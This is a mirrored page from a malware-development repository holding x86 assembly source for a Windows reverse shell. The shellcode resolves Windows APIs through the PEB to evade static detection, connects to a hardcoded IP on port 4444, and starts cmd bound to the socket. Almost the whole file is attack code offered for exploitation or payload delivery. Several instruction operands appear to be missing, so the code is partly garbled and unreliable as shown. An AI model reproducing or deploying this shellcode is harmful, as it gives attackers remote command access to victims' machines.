mirror of
https://codeberg.org/smukx/Rust-for-Malware-Development
synced 2026-06-06 20:22:59 +00:00
28e7fac1d3
Rust-for-Malware-Development is an collection of proof of concepts with techniques and advanced evasion methods
223 lines
13 KiB
NASM
223 lines
13 KiB
NASM
; Simple reverse shell using x86 assembly !
|
|
; Purpose:
|
|
; To dynamically resolves APIs to evade static detection and operates in memory, making it suitable for exploitation or payload delivery...
|
|
; Warning.. I'm not a pro assembly coder. Mistake can be happend =). Check the code twice. Thank you.
|
|
; By @5mukx
|
|
|
|
|
|
BITS 32
|
|
|
|
section .text
|
|
global _start
|
|
|
|
_start:
|
|
|
|
; Locate Kernelbase.dll address
|
|
XOR ECX, ECX ;zero out ECX
|
|
MOV EAX, DWORD [FS:ECX + 0x30]
|
|
MOV EAX, [EAX + 0x0c] ;EAX = PEB->Ldr
|
|
MOV ESI, [EAX + 0x14] ;ESI = PEB->Ldr.InMemoryOrderModuleList
|
|
LODSD ;memory address of the second list entry structure
|
|
XCHG EAX, ESI ;EAX = ESI , ESI = EAX
|
|
LODSD ;memory address of the third list entry structure
|
|
XCHG EAX, ESI ;EAX = ESI , ESI = EAX
|
|
LODSD ;memory address of the fourth list entry structure
|
|
MOV EBX, [EAX + 0x10] ;EBX = Base address
|
|
|
|
; Export Table
|
|
MOV EDX, DWORD [EBX + 0x3C] ;EDX = DOS->e_lfanew
|
|
ADD EDX, EBX ;EDX = PE Header
|
|
MOV EDX, DWORD [EDX + 0x78] ;EDX = Offset export table
|
|
ADD EDX, EBX ;EDX = Export table
|
|
MOV ESI, DWORD [EDX + 0x20] ;ESI = Offset names table
|
|
ADD ESI, EBX ;ESI = Names table
|
|
XOR ECX, ECX ;EXC = 0
|
|
|
|
GetFunction:
|
|
|
|
INC ECX ; increment counter
|
|
LODSD ;Get name offset
|
|
ADD EAX, EBX ;Get function name
|
|
CMP dword, 0x50746547 ;"PteG"
|
|
JNZ SHORT ;jump to GetFunction label if not "GetP"
|
|
CMP dword, 0x41636F72 ;"rocA"
|
|
JNZ SHORT ;jump to GetFunction label if not "rocA"
|
|
CMP dword, 0x65726464 ;"ddre"
|
|
JNZ SHORT ;jump to GetFunction label if not "ddre"
|
|
|
|
MOV ESI, DWORD [EDX + 0x24] ;ESI = Offset ordinals
|
|
ADD ESI, EBX ;ESI = Ordinals table
|
|
MOV CX, WORD [ESI + ECX * 2] ;CX = Number of function
|
|
DEC ECX ;Decrement the ordinal
|
|
MOV ESI, DWORD [EDX + 0x1C] ;ESI = Offset address table
|
|
ADD ESI, EBX ;ESI = Address table
|
|
MOV EDX, DWORD [ESI + ECX * 4] ;EDX = Pointer(offset)
|
|
ADD EDX, EBX ;EDX = GetProcAddress
|
|
|
|
; Get the Address of LoadLibraryA function
|
|
XOR ECX, ECX ;ECX = 0
|
|
PUSH EBX ;Kernel32 base address
|
|
PUSH EDX ;GetProcAddress
|
|
PUSH ECX ;0
|
|
PUSH 0x41797261 ;"Ayra"
|
|
PUSH 0x7262694C ;"rbiL"
|
|
PUSH 0x64616F4C ;"daoL"
|
|
PUSH ESP ;"LoadLibrary"
|
|
PUSH EBX ;Kernel32 base address
|
|
MOV ESI, EBX ;save the kernel32 address in esi for later
|
|
CALL EDX ;GetProcAddress(LoadLibraryA)
|
|
|
|
ADD ESP, 0xC ;pop "LoadLibraryA"
|
|
POP EDX ;EDX = 0
|
|
PUSH EAX ;EAX = LoadLibraryA
|
|
PUSH EDX ;ECX = 0
|
|
MOV DX, 0x6C6C ;"ll"
|
|
PUSH EDX
|
|
PUSH 0x642E3233 ;"d.23"
|
|
PUSH 0x5F327377 ;"_2sw"
|
|
PUSH ESP ;"ws2_32.dll"
|
|
CALL EAX ;LoadLibrary("ws2_32.dll")
|
|
|
|
ADD ESP, 0x10 ;Clean stack
|
|
MOV EDX, [ESP + 0x4] ;EDX = GetProcAddress
|
|
PUSH 0x61617075 ;"aapu"
|
|
SUB word, 0x6161 ;"pu" (remove "aa")
|
|
PUSH 0x74726174 ;"trat"
|
|
PUSH 0x53415357 ;"SASW"
|
|
PUSH ESP ;"WSAStartup"
|
|
PUSH EAX ;ws2_32.dll address
|
|
MOV EDI, EAX ;save ws2_32.dll to use it later
|
|
CALL EDX ;GetProcAddress(WSAStartup)
|
|
|
|
; Call WSAStartUp
|
|
XOR EBX, EBX ;zero out ebx register
|
|
MOV BX, 0x0190 ;EAX = sizeof(struct WSAData)
|
|
SUB ESP, EBX ;allocate space for the WSAData structure
|
|
PUSH ESP ;push a pointer to WSAData structure
|
|
PUSH EBX ;Push EBX as wVersionRequested
|
|
CALL EAX ;Call WSAStartUp
|
|
|
|
;Find the address of WSASocketA
|
|
ADD ESP, 0x10 ;Align the stack
|
|
XOR EBX, EBX ;zero out the EBX register
|
|
ADD BL, 0x4 ;add 0x4 at the lower register BL
|
|
IMUL EBX, 0x64 ;EBX = 0x190
|
|
MOV EDX, [ESP + EBX] ;EDX has the address of GetProcAddress
|
|
PUSH 0x61614174 ;"aaAt"
|
|
SUB word, 0x6161 ;"At" (remove "aa")
|
|
PUSH 0x656b636f ;"ekco"
|
|
PUSH 0x53415357 ;"SASW"
|
|
PUSH ESP ;"WSASocketA", GetProcAddress 2nd argument
|
|
MOV EAX, EDI ;EAX now holds the ws2_32.dll address
|
|
PUSH EAX ;push the first argument of GetProcAddress
|
|
CALL EDX ;call GetProcAddress
|
|
PUSH EDI ;save the ws2_32.dll address to use it later
|
|
|
|
;call WSASocketA
|
|
XOR ECX, ECX ;zero out ECX register
|
|
PUSH EDX ;null value for dwFlags argument
|
|
PUSH EDX ;zero value since we dont have an existing socket group
|
|
PUSH EDX ;null value for lpProtocolInfo
|
|
MOV DL, 0x6 ;IPPROTO_TCP
|
|
PUSH EDX ;set the protocol argument
|
|
INC ECX ;SOCK_STREAM(TCP)
|
|
PUSH ECX ;set the type argument
|
|
INC ECX ;AF_INET(IPv4)
|
|
PUSH ECX ;set the ddress family specification argument
|
|
CALL EAX ;call WSASocketA
|
|
XCHG EAX, ECX ;save the socket returned from WSASocketA at EAX to ECX in order to use it later
|
|
|
|
;Find the address of connect
|
|
POP EDI ;load previously saved ws2_32.dll address to ECX
|
|
ADD ESP, 0x10 ;Align stack
|
|
XOR EBX, EBX ;zero out EBX
|
|
ADD BL, 0x4 ;add 0x4 to lower register BL
|
|
IMUL EBX, 0x63 ;EBX = 0x18c
|
|
MOV EDX, [ESP + EBX] ;EDX has the address of GetProcAddress
|
|
PUSH 0x61746365 ;"atce"
|
|
SUB word, 0x61 ;"tce" (remove "a")
|
|
PUSH 0x6e6e6f63 ;"nnoc"
|
|
PUSH ESP ;"connect", second argument of GetProcAddress
|
|
PUSH EDI ;ws32_2.dll address, first argument of GetProcAddress
|
|
XCHG ECX, EBP
|
|
CALL EDX ;call GetProcAddress
|
|
|
|
;call connect
|
|
PUSH 0x4166a8c0 ;sin_addr set to 192.168.102.65. You need to change here ! (Little-Endian format)
|
|
PUSH word ;port = 4444
|
|
XOR EBX, EBX ;zero out EBX
|
|
add BL, 0x2 ;TCP protocol
|
|
PUSH word ;push the protocol value on the stack
|
|
MOV EDX, ESP ;pointer to sockaddr structure (IP,Port,Protocol)
|
|
PUSH byte ;the size of sockaddr - 3rd argument of connect
|
|
PUSH EDX ;push the sockaddr - 2nd argument of connect
|
|
PUSH EBP ;socket descriptor = 64 - 1st argument of connect
|
|
XCHG EBP, EDI
|
|
CALL EAX ;execute connect;
|
|
|
|
;Find the address of CreateProcessA
|
|
ADD ESP, 0x14 ;Clean stack
|
|
XOR EBX, EBX ;zero out EBX
|
|
ADD BL, 0x4 ;add 0x4 to lower register BL
|
|
IMUL EBX, 0x62 ;EBX = 0x190
|
|
MOV EDX, [ESP + EBX] ;EDX has the address of GetProcAddress
|
|
PUSH 0x61614173 ;"aaAs"
|
|
SUB dword, 0x6161 ;"As"
|
|
PUSH 0x7365636f ;"seco"
|
|
PUSH 0x72506574 ;"rPet"
|
|
PUSH 0x61657243 ;"aerC"
|
|
PUSH ESP ;"CreateProcessA" - 2nd argument of GetProcAddress
|
|
MOV EBP, ESI ;move the kernel32.dll to EBP
|
|
PUSH EBP ;kernel32.dll address - 1st argument of GetProcAddress
|
|
CALL EDX ;execute GetProcAddress
|
|
PUSH EAX ;address of CreateProcessA
|
|
LEA EBP, [EAX] ;EBP now points to the address of CreateProcessA
|
|
|
|
;call CreateProcessA
|
|
PUSH 0x61646d63 ;"admc"
|
|
SUB word, 0x61 ;"dmc" ( remove a)
|
|
MOV ECX, ESP ;ecx now points to "cmd" string
|
|
XOR EDX, EDX ;zero out EDX
|
|
SUB ESP, 16
|
|
MOV EBX, esp ;pointer for ProcessInfo
|
|
|
|
;STARTUPINFOA struct
|
|
PUSH EDI ;hStdError => saved socket
|
|
PUSH EDI ;hStdOutput => saved socket
|
|
PUSH EDI ;hStdInput => saved socket
|
|
PUSH EDX ;lpReserved2 => NULL
|
|
PUSH EDX ;cbReserved2 => NULL
|
|
XOR EAX, EAX ;zero out EAX register
|
|
INC EAX ;EAX => 0x00000001
|
|
ROL EAX, 8 ;EAX => 0x00000100
|
|
PUSH EAX ;dwFlags => STARTF_USESTDHANDLES 0x00000100
|
|
PUSH EDX ;dwFillAttribute => NULL
|
|
PUSH EDX ;dwYCountChars => NULL
|
|
PUSH EDX ;dwXCountChars => NULL
|
|
PUSH EDX ;dwYSize => NULL
|
|
PUSH EDX ;dwXSize => NULL
|
|
PUSH EDX ;dwY => NULL
|
|
PUSH EDX ;dwX => NULL
|
|
PUSH EDX ;pTitle => NULL
|
|
PUSH EDX ;pDesktop => NULL
|
|
PUSH EDX ;pReserved => NULL
|
|
XOR EAX, EAX ;zero out EAX
|
|
ADD AL, 44 ;cb => 0x44 (size of struct)
|
|
PUSH EAX ;eax points to STARTUPINFOA
|
|
|
|
;ProcessInfo struct
|
|
MOV EAX, ESP ;pStartupInfo
|
|
PUSH EBX ;pProcessInfo
|
|
PUSH EAX ;pStartupInfo
|
|
PUSH EDX ;CurrentDirectory => NULL
|
|
PUSH EDX ;pEnvironment => NULL
|
|
PUSH EDX ;CreationFlags => 0
|
|
XOR EAX, EAX ;zero out EAX register
|
|
INC EAX ;EAX => 0x00000001
|
|
PUSH EAX ;InheritHandles => TRUE => 1
|
|
PUSH EDX ;pThreadAttributes => NULL
|
|
PUSH EDX ;pProcessAttributes => NULL
|
|
PUSH ECX ;pCommandLine => pointer to "cmd"
|
|
PUSH EDX ;ApplicationName => NULL
|
|
CALL EBP ;execute CreateProcessA
|